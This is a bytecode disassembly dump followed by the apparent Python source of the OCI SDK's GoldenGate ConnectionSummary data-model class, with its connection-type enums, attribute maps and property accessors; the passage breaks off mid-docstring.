at 0x7fab542f5d20, file "f.py", line 649> LOAD_CONST 'ConnectionSummary.time_updated' MAKE_FUNCTION CALL_FUNCTION STORE_NAME time_updated LOAD_NAME time_updated LOAD_ATTR setter LOAD_CONST <code object time_updated at 0x7fab542f5db0, file "f.py", line 664> LOAD_CONST 'ConnectionSummary.time_updated' MAKE_FUNCTION CALL_FUNCTION STORE_NAME time_updated LOAD_NAME property LOAD_CONST <code object vault_id at 0x7fab542f5e40, file "f.py", line 679> LOAD_CONST 'ConnectionSummary.vault_id' MAKE_FUNCTION CALL_FUNCTION STORE_NAME vault_id LOAD_NAME vault_id LOAD_ATTR setter LOAD_CONST <code object vault_id at 0x7fab542f5ed0, file "f.py", line 693> LOAD_CONST 'ConnectionSummary.vault_id' MAKE_FUNCTION CALL_FUNCTION STORE_NAME vault_id LOAD_NAME property LOAD_CONST <code object key_id at 0x7fab542f5f60, file "f.py", line 707> LOAD_CONST 'ConnectionSummary.key_id' MAKE_FUNCTION CALL_FUNCTION STORE_NAME key_id LOAD_NAME key_id LOAD_ATTR setter LOAD_CONST <code object key_id at 0x7fab542d6030, file "f.py", line 720> LOAD_CONST 'ConnectionSummary.key_id' MAKE_FUNCTION CALL_FUNCTION STORE_NAME key_id LOAD_NAME property LOAD_CONST <code object ingress_ips at 0x7fab542d60c0, file "f.py", line 733> LOAD_CONST 'ConnectionSummary.ingress_ips' MAKE_FUNCTION CALL_FUNCTION STORE_NAME ingress_ips LOAD_NAME ingress_ips LOAD_ATTR setter LOAD_CONST <code object ingress_ips at 0x7fab542d6150, file "f.py", line 746> LOAD_CONST 'ConnectionSummary.ingress_ips' MAKE_FUNCTION CALL_FUNCTION STORE_NAME ingress_ips LOAD_NAME property LOAD_CONST <code object nsg_ids at 0x7fab542d61e0, file "f.py", line 759> LOAD_CONST 'ConnectionSummary.nsg_ids' MAKE_FUNCTION CALL_FUNCTION STORE_NAME nsg_ids LOAD_NAME nsg_ids LOAD_ATTR setter LOAD_CONST <code object nsg_ids at 0x7fab542d6270, file "f.py", line 771> LOAD_CONST 'ConnectionSummary.nsg_ids' MAKE_FUNCTION CALL_FUNCTION STORE_NAME nsg_ids LOAD_NAME property LOAD_CONST <code object subnet_id at 0x7fab542d6300, file "f.py", line 783> LOAD_CONST 'ConnectionSummary.subnet_id' MAKE_FUNCTION CALL_FUNCTION STORE_NAME subnet_id LOAD_NAME subnet_id LOAD_ATTR setter LOAD_CONST <code object subnet_id at 0x7fab542d6390, file "f.py", line 797> LOAD_CONST 'ConnectionSummary.subnet_id' MAKE_FUNCTION CALL_FUNCTION STORE_NAME subnet_id LOAD_NAME property LOAD_CONST <code object routing_method at 0x7fab542d6420, file "f.py", line 811> LOAD_CONST 'ConnectionSummary.routing_method' MAKE_FUNCTION CALL_FUNCTION STORE_NAME routing_method LOAD_NAME routing_method LOAD_ATTR setter LOAD_CONST <code object routing_method at 0x7fab542d64b0, file "f.py", line 829> LOAD_CONST 'ConnectionSummary.routing_method' MAKE_FUNCTION CALL_FUNCTION STORE_NAME routing_method LOAD_CONST <code object __repr__ at 0x7fab542d6540, file "f.py", line 851> LOAD_CONST 'ConnectionSummary.__repr__' MAKE_FUNCTION STORE_NAME __repr__ LOAD_CONST <code object __eq__ at 0x7fab542d65d0, file "f.py", line 854> LOAD_CONST 'ConnectionSummary.__eq__' MAKE_FUNCTION STORE_NAME __eq__ LOAD_CONST <code object __ne__ at 0x7fab542d6660, file "f.py", line 860> LOAD_CONST 'ConnectionSummary.__ne__' MAKE_FUNCTION STORE_NAME __ne__ LOAD_CONST None RETURN_VALUE LOAD_CONST 'str' LOAD_CONST 'str' LOAD_CONST 'str' LOAD_CONST 'str' LOAD_CONST 'str' LOAD_CONST 'dict(str, str)' LOAD_CONST 'dict(str, dict(str, object))' LOAD_CONST 'dict(str, dict(str, object))' LOAD_CONST 'str' LOAD_CONST 'str' LOAD_CONST 'datetime' LOAD_CONST 'datetime' LOAD_CONST 'str' LOAD_CONST 'str' LOAD_CONST 'list[IngressIpDetails]' LOAD_CONST 'list[str]' LOAD_CONST 'str' LOAD_CONST 'str' LOAD_CONST ('connection_type', 'id', 'display_name', 'description', 'compartment_id', 'freeform_tags', 'defined_tags', 'system_tags', 'lifecycle_state', 'lifecycle_details', 'time_created', 'time_updated', 'vault_id', 'key_id', 'ingress_ips', 'nsg_ids', 'subnet_id', 'routing_method') BUILD_CONST_KEY_MAP LOAD_FAST self STORE_ATTR swagger_types LOAD_CONST 'connectionType' LOAD_CONST 'id' LOAD_CONST 'displayName' LOAD_CONST 'description' LOAD_CONST 'compartmentId' LOAD_CONST 'freeformTags' LOAD_CONST 'definedTags' LOAD_CONST 'systemTags' LOAD_CONST 'lifecycleState' LOAD_CONST 'lifecycleDetails' LOAD_CONST 'timeCreated' LOAD_CONST 'timeUpdated' LOAD_CONST 'vaultId' LOAD_CONST 'keyId' LOAD_CONST 'ingressIps' LOAD_CONST 'nsgIds' LOAD_CONST 'subnetId' LOAD_CONST 'routingMethod' LOAD_CONST ('connection_type', 'id', 'display_name', 'description', 'compartment_id', 'freeform_tags', 'defined_tags', 'system_tags', 'lifecycle_state', 'lifecycle_details', 'time_created', 'time_updated', 'vault_id', 'key_id', 'ingress_ips', 'nsg_ids', 'subnet_id', 'routing_method') BUILD_CONST_KEY_MAP LOAD_FAST self STORE_ATTR attribute_map LOAD_CONST None LOAD_FAST self STORE_ATTR _connection_type LOAD_CONST None LOAD_FAST self STORE_ATTR _id LOAD_CONST None LOAD_FAST self STORE_ATTR _display_name LOAD_CONST None LOAD_FAST self STORE_ATTR _description LOAD_CONST None LOAD_FAST self STORE_ATTR _compartment_id LOAD_CONST None LOAD_FAST self STORE_ATTR _freeform_tags LOAD_CONST None LOAD_FAST self STORE_ATTR _defined_tags LOAD_CONST None LOAD_FAST self STORE_ATTR _system_tags LOAD_CONST None LOAD_FAST self STORE_ATTR _lifecycle_state LOAD_CONST None LOAD_FAST self STORE_ATTR _lifecycle_details LOAD_CONST None LOAD_FAST self STORE_ATTR _time_created LOAD_CONST None LOAD_FAST self STORE_ATTR _time_updated LOAD_CONST None LOAD_FAST self STORE_ATTR _vault_id LOAD_CONST None LOAD_FAST self STORE_ATTR _key_id LOAD_CONST None LOAD_FAST self STORE_ATTR _ingress_ips LOAD_CONST None LOAD_FAST self STORE_ATTR _nsg_ids LOAD_CONST None LOAD_FAST self STORE_ATTR _subnet_id LOAD_CONST None LOAD_FAST self STORE_ATTR _routing_method LOAD_CONST None RETURN_VALUE LOAD_FAST object_dictionary LOAD_CONST 'connectionType' BINARY_SUBSCR STORE_FAST type LOAD_FAST type LOAD_CONST 'GOLDENGATE' COMPARE_OP == POP_JUMP_IF_FALSE LOAD_CONST 'GoldenGateConnectionSummary' RETURN_VALUE LOAD_FAST type LOAD_CONST 'KAFKA_SCHEMA_REGISTRY' COMPARE_OP == POP_JUMP_IF_FALSE LOAD_CONST 'KafkaSchemaRegistryConnectionSummary' RETURN_VALUE LOAD_FAST type LOAD_CONST 'JAVA_MESSAGE_SERVICE' COMPARE_OP == POP_JUMP_IF_FALSE LOAD_CONST 'JavaMessageServiceConnectionSummary' RETURN_VALUE LOAD_FAST type LOAD_CONST 'MICROSOFT_SQLSERVER' COMPARE_OP == POP_JUMP_IF_FALSE LOAD_CONST 'MicrosoftSqlserverConnectionSummary' RETURN_VALUE LOAD_FAST type LOAD_CONST 'ORACLE_NOSQL' COMPARE_OP == POP_JUMP_IF_FALSE LOAD_CONST 'OracleNosqlConnectionSummary' RETURN_VALUE LOAD_FAST type LOAD_CONST 'ORACLE' COMPARE_OP == POP_JUMP_IF_FALSE LOAD_CONST 'OracleConnectionSummary' RETURN_VALUE LOAD_FAST type LOAD_CONST 'SNOWFLAKE' COMPARE_OP == POP_JUMP_IF_FALSE LOAD_CONST 'SnowflakeConnectionSummary' RETURN_VALUE LOAD_FAST type LOAD_CONST 'AMAZON_KINESIS' COMPARE_OP == POP_JUMP_IF_FALSE LOAD_CONST 'AmazonKinesisConnectionSummary' RETURN_VALUE LOAD_FAST type LOAD_CONST 'REDIS' COMPARE_OP == POP_JUMP_IF_FALSE LOAD_CONST 'RedisConnectionSummary' RETURN_VALUE LOAD_FAST type LOAD_CONST 'OCI_OBJECT_STORAGE' COMPARE_OP == POP_JUMP_IF_FALSE LOAD_CONST 'OciObjectStorageConnectionSummary' RETURN_VALUE LOAD_FAST type LOAD_CONST 'AZURE_DATA_LAKE_STORAGE' COMPARE_OP == POP_JUMP_IF_FALSE LOAD_CONST 'AzureDataLakeStorageConnectionSummary' RETURN_VALUE LOAD_FAST type LOAD_CONST 'AZURE_SYNAPSE_ANALYTICS' COMPARE_OP == POP_JUMP_IF_FALSE LOAD_CONST 'AzureSynapseConnectionSummary' RETURN_VALUE LOAD_FAST type LOAD_CONST 'MONGODB' COMPARE_OP == POP_JUMP_IF_FALSE LOAD_CONST 'MongoDbConnectionSummary' RETURN_VALUE LOAD_FAST type LOAD_CONST 'GOOGLE_BIGQUERY' COMPARE_OP == POP_JUMP_IF_FALSE LOAD_CONST 'GoogleBigQueryConnectionSummary' RETURN_VALUE LOAD_FAST type LOAD_CONST 'AMAZON_S3' COMPARE_OP == POP_JUMP_IF_FALSE LOAD_CONST 'AmazonS3ConnectionSummary' RETURN_VALUE LOAD_FAST type LOAD_CONST 'POSTGRESQL' COMPARE_OP == POP_JUMP_IF_FALSE LOAD_CONST 'PostgresqlConnectionSummary' RETURN_VALUE LOAD_FAST type LOAD_CONST 'MYSQL' COMPARE_OP == POP_JUMP_IF_FALSE LOAD_CONST 'MysqlConnectionSummary' RETURN_VALUE LOAD_FAST type LOAD_CONST 'GENERIC' COMPARE_OP == POP_JUMP_IF_FALSE LOAD_CONST 'GenericConnectionSummary' RETURN_VALUE LOAD_FAST type LOAD_CONST 'KAFKA' COMPARE_OP == POP_JUMP_IF_FALSE LOAD_CONST 'KafkaConnectionSummary' RETURN_VALUE LOAD_FAST type LOAD_CONST 'ELASTICSEARCH' COMPARE_OP == POP_JUMP_IF_FALSE LOAD_CONST 'ElasticsearchConnectionSummary' RETURN_VALUE LOAD_FAST type LOAD_CONST 'AMAZON_REDSHIFT' COMPARE_OP == EXTENDED_ARG POP_JUMP_IF_FALSE LOAD_CONST 'AmazonRedshiftConnectionSummary' RETURN_VALUE LOAD_FAST type LOAD_CONST 'HDFS' COMPARE_OP == EXTENDED_ARG POP_JUMP_IF_FALSE LOAD_CONST 'HdfsConnectionSummary' RETURN_VALUE LOAD_FAST type LOAD_CONST 'GOOGLE_CLOUD_STORAGE' COMPARE_OP == EXTENDED_ARG POP_JUMP_IF_FALSE LOAD_CONST 'GoogleCloudStorageConnectionSummary' RETURN_VALUE LOAD_CONST 'ConnectionSummary' RETURN_VALUE LOAD_CONST None RETURN_VALUE LOAD_FAST self LOAD_ATTR _connection_type RETURN_VALUE LOAD_CONST 'GOLDENGATE' LOAD_CONST 'KAFKA' LOAD_CONST 'KAFKA_SCHEMA_REGISTRY' LOAD_CONST 'MYSQL' LOAD_CONST 'JAVA_MESSAGE_SERVICE' LOAD_CONST 'MICROSOFT_SQLSERVER' LOAD_CONST 'OCI_OBJECT_STORAGE' LOAD_CONST 'ORACLE' LOAD_CONST 'AZURE_DATA_LAKE_STORAGE' LOAD_CONST 'POSTGRESQL' LOAD_CONST 'AZURE_SYNAPSE_ANALYTICS' LOAD_CONST 'SNOWFLAKE' LOAD_CONST 'AMAZON_S3' LOAD_CONST 'HDFS' LOAD_CONST 'ORACLE_NOSQL' LOAD_CONST 'MONGODB' LOAD_CONST 'AMAZON_KINESIS' LOAD_CONST 'AMAZON_REDSHIFT' LOAD_CONST 'REDIS' LOAD_CONST 'ELASTICSEARCH' LOAD_CONST 'GENERIC' LOAD_CONST 'GOOGLE_CLOUD_STORAGE' LOAD_CONST 'GOOGLE_BIGQUERY' BUILD_LIST STORE_FAST allowed_values LOAD_GLOBAL value_allowed_none_or_none_sentinel LOAD_FAST connection_type LOAD_FAST allowed_values CALL_FUNCTION POP_JUMP_IF_TRUE LOAD_CONST 'UNKNOWN_ENUM_VALUE' STORE_FAST connection_type LOAD_FAST connection_type LOAD_FAST self STORE_ATTR _connection_type LOAD_CONST None RETURN_VALUE LOAD_FAST self LOAD_ATTR _id RETURN_VALUE LOAD_FAST id LOAD_FAST self STORE_ATTR _id LOAD_CONST None RETURN_VALUE LOAD_FAST self LOAD_ATTR _display_name RETURN_VALUE LOAD_FAST display_name LOAD_FAST self STORE_ATTR _display_name LOAD_CONST None RETURN_VALUE LOAD_FAST self LOAD_ATTR _description RETURN_VALUE LOAD_FAST description LOAD_FAST self STORE_ATTR _description LOAD_CONST None RETURN_VALUE LOAD_FAST self LOAD_ATTR _compartment_id RETURN_VALUE LOAD_FAST compartment_id LOAD_FAST self STORE_ATTR _compartment_id LOAD_CONST None RETURN_VALUE LOAD_FAST self LOAD_ATTR _freeform_tags RETURN_VALUE LOAD_FAST freeform_tags LOAD_FAST self STORE_ATTR _freeform_tags LOAD_CONST None RETURN_VALUE LOAD_FAST self LOAD_ATTR _defined_tags RETURN_VALUE LOAD_FAST defined_tags LOAD_FAST self STORE_ATTR _defined_tags LOAD_CONST None RETURN_VALUE LOAD_FAST self LOAD_ATTR _system_tags RETURN_VALUE LOAD_FAST system_tags LOAD_FAST self STORE_ATTR _system_tags LOAD_CONST None RETURN_VALUE LOAD_FAST self LOAD_ATTR _lifecycle_state RETURN_VALUE LOAD_FAST lifecycle_state LOAD_FAST self STORE_ATTR _lifecycle_state LOAD_CONST None RETURN_VALUE LOAD_FAST self LOAD_ATTR _lifecycle_details RETURN_VALUE LOAD_FAST lifecycle_details LOAD_FAST self STORE_ATTR _lifecycle_details LOAD_CONST None RETURN_VALUE LOAD_FAST self LOAD_ATTR _time_created RETURN_VALUE LOAD_FAST time_created LOAD_FAST self STORE_ATTR _time_created LOAD_CONST None RETURN_VALUE LOAD_FAST self LOAD_ATTR _time_updated RETURN_VALUE LOAD_FAST time_updated LOAD_FAST self STORE_ATTR _time_updated LOAD_CONST None RETURN_VALUE LOAD_FAST self LOAD_ATTR _vault_id RETURN_VALUE LOAD_FAST vault_id LOAD_FAST self STORE_ATTR _vault_id LOAD_CONST None RETURN_VALUE LOAD_FAST self LOAD_ATTR _key_id RETURN_VALUE LOAD_FAST key_id LOAD_FAST self STORE_ATTR _key_id LOAD_CONST None RETURN_VALUE LOAD_FAST self LOAD_ATTR _ingress_ips RETURN_VALUE LOAD_FAST ingress_ips LOAD_FAST self STORE_ATTR _ingress_ips LOAD_CONST None RETURN_VALUE LOAD_FAST self LOAD_ATTR _nsg_ids RETURN_VALUE LOAD_FAST nsg_ids LOAD_FAST self STORE_ATTR _nsg_ids LOAD_CONST None RETURN_VALUE LOAD_FAST self LOAD_ATTR _subnet_id RETURN_VALUE LOAD_FAST subnet_id LOAD_FAST self STORE_ATTR _subnet_id LOAD_CONST None RETURN_VALUE LOAD_FAST self LOAD_ATTR _routing_method RETURN_VALUE LOAD_CONST 'SHARED_SERVICE_ENDPOINT' LOAD_CONST 'SHARED_DEPLOYMENT_ENDPOINT' LOAD_CONST 'DEDICATED_ENDPOINT' BUILD_LIST STORE_FAST allowed_values LOAD_GLOBAL value_allowed_none_or_none_sentinel LOAD_FAST routing_method LOAD_FAST allowed_values CALL_FUNCTION POP_JUMP_IF_TRUE LOAD_CONST 'UNKNOWN_ENUM_VALUE' STORE_FAST routing_method LOAD_FAST routing_method LOAD_FAST self STORE_ATTR _routing_method LOAD_CONST None RETURN_VALUE LOAD_GLOBAL formatted_flat_dict LOAD_FAST self CALL_FUNCTION RETURN_VALUE LOAD_FAST other LOAD_CONST None COMPARE_OP is POP_JUMP_IF_FALSE LOAD_CONST False RETURN_VALUE LOAD_FAST self LOAD_ATTR __dict__ LOAD_FAST other LOAD_ATTR __dict__ COMPARE_OP == RETURN_VALUE LOAD_FAST self LOAD_FAST other COMPARE_OP == UNARY_NOT RETURN_VALUE
from oci.util import ( formatted_flat_dict, NONE_SENTINEL, value_allowed_none_or_none_sentinel, ) # noqa: F401 from oci.decorators import init_model_state_from_kwargs @init_model_state_from_kwargs class ConnectionSummary(object): """ Summary of the Connection. """ CONNECTION_TYPE_GOLDENGATE = "GOLDENGATE" CONNECTION_TYPE_KAFKA = "KAFKA" CONNECTION_TYPE_KAFKA_SCHEMA_REGISTRY = "KAFKA_SCHEMA_REGISTRY" CONNECTION_TYPE_MYSQL = "MYSQL" CONNECTION_TYPE_JAVA_MESSAGE_SERVICE = "JAVA_MESSAGE_SERVICE" CONNECTION_TYPE_MICROSOFT_SQLSERVER = "MICROSOFT_SQLSERVER" CONNECTION_TYPE_OCI_OBJECT_STORAGE = "OCI_OBJECT_STORAGE" CONNECTION_TYPE_ORACLE = "ORACLE" CONNECTION_TYPE_AZURE_DATA_LAKE_STORAGE = "AZURE_DATA_LAKE_STORAGE" CONNECTION_TYPE_POSTGRESQL = "POSTGRESQL" CONNECTION_TYPE_AZURE_SYNAPSE_ANALYTICS = "AZURE_SYNAPSE_ANALYTICS" CONNECTION_TYPE_SNOWFLAKE = "SNOWFLAKE" CONNECTION_TYPE_AMAZON_S3 = "AMAZON_S3" CONNECTION_TYPE_HDFS = "HDFS" CONNECTION_TYPE_ORACLE_NOSQL = "ORACLE_NOSQL" CONNECTION_TYPE_MONGODB = "MONGODB" CONNECTION_TYPE_AMAZON_KINESIS = "AMAZON_KINESIS" CONNECTION_TYPE_AMAZON_REDSHIFT = "AMAZON_REDSHIFT" CONNECTION_TYPE_REDIS = "REDIS" CONNECTION_TYPE_ELASTICSEARCH = "ELASTICSEARCH" CONNECTION_TYPE_GENERIC = "GENERIC" CONNECTION_TYPE_GOOGLE_CLOUD_STORAGE = "GOOGLE_CLOUD_STORAGE" CONNECTION_TYPE_GOOGLE_BIGQUERY = "GOOGLE_BIGQUERY" ROUTING_METHOD_SHARED_SERVICE_ENDPOINT = "SHARED_SERVICE_ENDPOINT" ROUTING_METHOD_SHARED_DEPLOYMENT_ENDPOINT = "SHARED_DEPLOYMENT_ENDPOINT" ROUTING_METHOD_DEDICATED_ENDPOINT = "DEDICATED_ENDPOINT" def __init__(self, **kwargs): """ Initializes a new ConnectionSummary object with values from keyword arguments. This class has the following subclasses and if you are using this class as input to a service operations then you should favor using a subclass over the base class: * :class:`~oci.golden_gate.models.GoldenGateConnectionSummary` * :class:`~oci.golden_gate.models.KafkaSchemaRegistryConnectionSummary` * :class:`~oci.golden_gate.models.JavaMessageServiceConnectionSummary` * :class:`~oci.golden_gate.models.MicrosoftSqlserverConnectionSummary` * :class:`~oci.golden_gate.models.OracleNosqlConnectionSummary` * :class:`~oci.golden_gate.models.OracleConnectionSummary` * :class:`~oci.golden_gate.models.SnowflakeConnectionSummary` * :class:`~oci.golden_gate.models.AmazonKinesisConnectionSummary` * :class:`~oci.golden_gate.models.RedisConnectionSummary` * :class:`~oci.golden_gate.models.OciObjectStorageConnectionSummary` * :class:`~oci.golden_gate.models.AzureDataLakeStorageConnectionSummary` * :class:`~oci.golden_gate.models.AzureSynapseConnectionSummary` * :class:`~oci.golden_gate.models.MongoDbConnectionSummary` * :class:`~oci.golden_gate.models.GoogleBigQueryConnectionSummary` * :class:`~oci.golden_gate.models.AmazonS3ConnectionSummary` * :class:`~oci.golden_gate.models.PostgresqlConnectionSummary` * :class:`~oci.golden_gate.models.MysqlConnectionSummary` * :class:`~oci.golden_gate.models.GenericConnectionSummary` * :class:`~oci.golden_gate.models.KafkaConnectionSummary` * :class:`~oci.golden_gate.models.ElasticsearchConnectionSummary` * :class:`~oci.golden_gate.models.AmazonRedshiftConnectionSummary` * :class:`~oci.golden_gate.models.HdfsConnectionSummary` * :class:`~oci.golden_gate.models.GoogleCloudStorageConnectionSummary` The following keyword arguments are supported (corresponding to the getters/setters of this class): :param connection_type: The value to assign to the connection_type property of this ConnectionSummary. Allowed values for this property are: "GOLDENGATE", "KAFKA", "KAFKA_SCHEMA_REGISTRY", "MYSQL", "JAVA_MESSAGE_SERVICE", "MICROSOFT_SQLSERVER", "OCI_OBJECT_STORAGE", "ORACLE", "AZURE_DATA_LAKE_STORAGE", "POSTGRESQL", "AZURE_SYNAPSE_ANALYTICS", "SNOWFLAKE", "AMAZON_S3", "HDFS", "ORACLE_NOSQL", "MONGODB", "AMAZON_KINESIS", "AMAZON_REDSHIFT", "REDIS", "ELASTICSEARCH", "GENERIC", "GOOGLE_CLOUD_STORAGE", "GOOGLE_BIGQUERY", 'UNKNOWN_ENUM_VALUE'. Any unrecognized values returned by a service will be mapped to 'UNKNOWN_ENUM_VALUE'. :type connection_type: str :param id: The value to assign to the id property of this ConnectionSummary. :type id: str :param display_name: The value to assign to the display_name property of this ConnectionSummary. :type display_name: str :param description: The value to assign to the description property of this ConnectionSummary. :type description: str :param compartment_id: The value to assign to the compartment_id property of this ConnectionSummary. :type compartment_id: str :param freeform_tags: The value to assign to the freeform_tags property of this ConnectionSummary. :type freeform_tags: dict(str, str) :param defined_tags: The value to assign to the defined_tags property of this ConnectionSummary. :type defined_tags: dict(str, dict(str, object)) :param system_tags: The value to assign to the system_tags property of this ConnectionSummary. :type system_tags: dict(str, dict(str, object)) :param lifecycle_state: The value to assign to the lifecycle_state property of this ConnectionSummary. :type lifecycle_state: str :param lifecycle_details: The value to assign to the lifecycle_details property of this ConnectionSummary. :type lifecycle_details: str :param time_created: The value to assign to the time_created property of this ConnectionSummary. :type time_created: datetime :param time_updated: The value to assign to the time_updated property of this ConnectionSummary. :type time_updated: datetime :param vault_id: The value to assign to the vault_id property of this ConnectionSummary. :type vault_id: str :param key_id: The value to assign to the key_id property of this ConnectionSummary. :type key_id: str :param ingress_ips: The value to assign to the ingress_ips property of this ConnectionSummary. :type ingress_ips: list[oci.golden_gate.models.IngressIpDetails] :param nsg_ids: The value to assign to the nsg_ids property of this ConnectionSummary. :type nsg_ids: list[str] :param subnet_id: The value to assign to the subnet_id property of this ConnectionSummary. :type subnet_id: str :param routing_method: The value to assign to the routing_method property of this ConnectionSummary. Allowed values for this property are: "SHARED_SERVICE_ENDPOINT", "SHARED_DEPLOYMENT_ENDPOINT", "DEDICATED_ENDPOINT", 'UNKNOWN_ENUM_VALUE'. Any unrecognized values returned by a service will be mapped to 'UNKNOWN_ENUM_VALUE'. :type routing_method: str """ self.swagger_types = { "connection_type": "str", "id": "str", "display_name": "str", "description": "str", "compartment_id": "str", "freeform_tags": "dict(str, str)", "defined_tags": "dict(str, dict(str, object))", "system_tags": "dict(str, dict(str, object))", "lifecycle_state": "str", "lifecycle_details": "str", "time_created": "datetime", "time_updated": "datetime", "vault_id": "str", "key_id": "str", "ingress_ips": "list[IngressIpDetails]", "nsg_ids": "list[str]", "subnet_id": "str", "routing_method": "str", } self.attribute_map = { "connection_type": "connectionType", "id": "id", "display_name": "displayName", "description": "description", "compartment_id": "compartmentId", "freeform_tags": "freeformTags", "defined_tags": "definedTags", "system_tags": "systemTags", "lifecycle_state": "lifecycleState", "lifecycle_details": "lifecycleDetails", "time_created": "timeCreated", "time_updated": "timeUpdated", "vault_id": "vaultId", "key_id": "keyId", "ingress_ips": "ingressIps", "nsg_ids": "nsgIds", "subnet_id": "subnetId", "routing_method": "routingMethod", } self._connection_type = None self._id = None self._display_name = None self._description = None self._compartment_id = None self._freeform_tags = None self._defined_tags = None self._system_tags = None self._lifecycle_state = None self._lifecycle_details = None self._time_created = None self._time_updated = None self._vault_id = None self._key_id = None self._ingress_ips = None self._nsg_ids = None self._subnet_id = None self._routing_method = None @staticmethod def get_subtype(object_dictionary): """ Given the hash representation of a subtype of this class, use the info in the hash to return the class of the subtype. """ type = object_dictionary["connectionType"] if type == "GOLDENGATE": return "GoldenGateConnectionSummary" if type == "KAFKA_SCHEMA_REGISTRY": return "KafkaSchemaRegistryConnectionSummary" if type == "JAVA_MESSAGE_SERVICE": return "JavaMessageServiceConnectionSummary" if type == "MICROSOFT_SQLSERVER": return "MicrosoftSqlserverConnectionSummary" if type == "ORACLE_NOSQL": return "OracleNosqlConnectionSummary" if type == "ORACLE": return "OracleConnectionSummary" if type == "SNOWFLAKE": return "SnowflakeConnectionSummary" if type == "AMAZON_KINESIS": return "AmazonKinesisConnectionSummary" if type == "REDIS": return "RedisConnectionSummary" if type == "OCI_OBJECT_STORAGE": return "OciObjectStorageConnectionSummary" if type == "AZURE_DATA_LAKE_STORAGE": return "AzureDataLakeStorageConnectionSummary" if type == "AZURE_SYNAPSE_ANALYTICS": return "AzureSynapseConnectionSummary" if type == "MONGODB": return "MongoDbConnectionSummary" if type == "GOOGLE_BIGQUERY": return "GoogleBigQueryConnectionSummary" if type == "AMAZON_S3": return "AmazonS3ConnectionSummary" if type == "POSTGRESQL": return "PostgresqlConnectionSummary" if type == "MYSQL": return "MysqlConnectionSummary" if type == "GENERIC": return "GenericConnectionSummary" if type == "KAFKA": return "KafkaConnectionSummary" if type == "ELASTICSEARCH": return "ElasticsearchConnectionSummary" if type == "AMAZON_REDSHIFT": return "AmazonRedshiftConnectionSummary" if type == "HDFS": return "HdfsConnectionSummary" if type == "GOOGLE_CLOUD_STORAGE": return "GoogleCloudStorageConnectionSummary" else: return "ConnectionSummary" @property def connection_type(self): """ **[Required]** Gets the connection_type of this ConnectionSummary. The connection type. Allowed values for this property are: "GOLDENGATE", "KAFKA", "KAFKA_SCHEMA_REGISTRY", "MYSQL", "JAVA_MESSAGE_SERVICE", "MICROSOFT_SQLSERVER", "OCI_OBJECT_STORAGE", "ORACLE", "AZURE_DATA_LAKE_STORAGE", "POSTGRESQL", "AZURE_SYNAPSE_ANALYTICS", "SNOWFLAKE", "AMAZON_S3", "HDFS", "ORACLE_NOSQL", "MONGODB", "AMAZON_KINESIS", "AMAZON_REDSHIFT", "REDIS", "ELASTICSEARCH", "GENERIC", "GOOGLE_CLOUD_STORAGE", "GOOGLE_BIGQUERY", 'UNKNOWN_ENUM_VALUE'. Any unrecognized values returned by a service will be mapped to 'UNKNOWN_ENUM_VALUE'. :return: The connection_type of this ConnectionSummary. :rtype: str """ return self._connection_type @connection_type.setter def connection_type(self, connection_type): """ Sets the connection_type of this ConnectionSummary. The connection type. :param connection_type: The connection_type of this ConnectionSummary. :type: str """ allowed_values = [ "GOLDENGATE", "KAFKA", "KAFKA_SCHEMA_REGISTRY", "MYSQL", "JAVA_MESSAGE_SERVICE", "MICROSOFT_SQLSERVER", "OCI_OBJECT_STORAGE", "ORACLE", "AZURE_DATA_LAKE_STORAGE", "POSTGRESQL", "AZURE_SYNAPSE_ANALYTICS", "SNOWFLAKE", "AMAZON_S3", "HDFS", "ORACLE_NOSQL", "MONGODB", "AMAZON_KINESIS", "AMAZON_REDSHIFT", "REDIS", "ELASTICSEARCH", "GENERIC", "GOOGLE_CLOUD_STORAGE", "GOOGLE_BIGQUERY", ] if not value_allowed_none_or_none_sentinel(connection_type, allowed_values): connection_type = "UNKNOWN_ENUM_VALUE" self._connection_type = connection_type @property def id(self): """ **[Required]** Gets the id of this ConnectionSummary. The `OCID`__ of the connection being referenced. __ https://docs.cloud.oracle.com/Content/General/Concepts/identifiers.htm :return: The id of this ConnectionSummary. :rtype: str """ return self._id @id.setter def id(self, id): """ Sets the id of this ConnectionSummary. The `OCID`__ of the connection being referenced. __ https://docs.cloud.oracle.com/Content/General/Concepts/identifiers.htm :param id: The id of this ConnectionSummary. :type: str """ self._id = id @property def display_name(self): """ **[Required]** Gets the display_name of this ConnectionSummary. An object's Display Name. :return: The display_name of this ConnectionSummary. :rtype: str """ return self._display_name @display_name.setter def display_name(self, display_name): """ Sets the display_name of this ConnectionSummary. An object's Display Name. :param display_name: The display_name of this ConnectionSummary. :type: str """ self._display_name = display_name @property def description(self): """ Gets the description of this ConnectionSummary. Metadata about this specific object. :return: The description of this ConnectionSummary. :rtype: str """ return self._description @description.setter def description(self, description): """ Sets the description of this ConnectionSummary. Metadata about this specific object. :param description: The description of this ConnectionSummary. :type: str """ self._description = description @property def compartment_id(self): """ **[Required]** Gets the compartment_id of this ConnectionSummary. The `OCID`__ of the compartment being referenced. __ https://docs.cloud.oracle.com/Content/General/Concepts/identifiers.htm :return: The compartment_id of this ConnectionSummary. :rtype: str """ return self._compartment_id @compartment_id.setter def compartment_id(self, compartment_id): """ Sets the compartment_id of this ConnectionSummary. The `OCID`__ of the compartment being referenced. __ https://docs.cloud.oracle.com/Content/General/Concepts/identifiers.htm :param compartment_id: The compartment_id of this ConnectionSummary. :type: str """ self._compartment_id = compartment_id @property def freeform_tags(self): """ Gets the freeform_tags of this ConnectionSummary. A simple key-value pair that is applied without any predefined name, type, or scope. Exists for cross-compatibility only. Example: `{\"bar-key\": \"value\"}` :return: The freeform_tags of this ConnectionSummary. :rtype: dict(str, str) """ return self._freeform_tags @freeform_tags.setter def freeform_tags(self, freeform_tags): """ Sets the freeform_tags of this ConnectionSummary. A simple key-value pair that is applied without any predefined name, type, or scope. Exists for cross-compatibility only. Example: `{\"bar-key\": \"value\"}` :param freeform_tags: The freeform_tags of this ConnectionSummary. :type: dict(str, str) """ self._freeform_tags = freeform_tags @property def defined_tags(self): """ Gets the defined_tags of this ConnectionSummary. Tags defined for this resource. Each key is predefined and scoped to a namespace. Example: `{\"foo-namespace\": {\"bar-key\": \"value\"}}` :return: The defined_tags of this ConnectionSummary. :rtype: dict(str, dict(str, object)) """ return self._defined_tags @defined_tags.setter def defined_tags(self, defined_tags): """ Sets the defined_tags of this ConnectionSummary. Tags defined for this resource. Each key is predefined and scoped to a namespace. Example: `{\"foo-namespace\": {\"bar-key\": \"value\"}}` :param defined_tags: The defined_tags of this ConnectionSummary. :type: dict(str, dict(str, object)) """ self._defined_tags = defined_tags @property def system_tags(self): """ Gets the system_tags of this 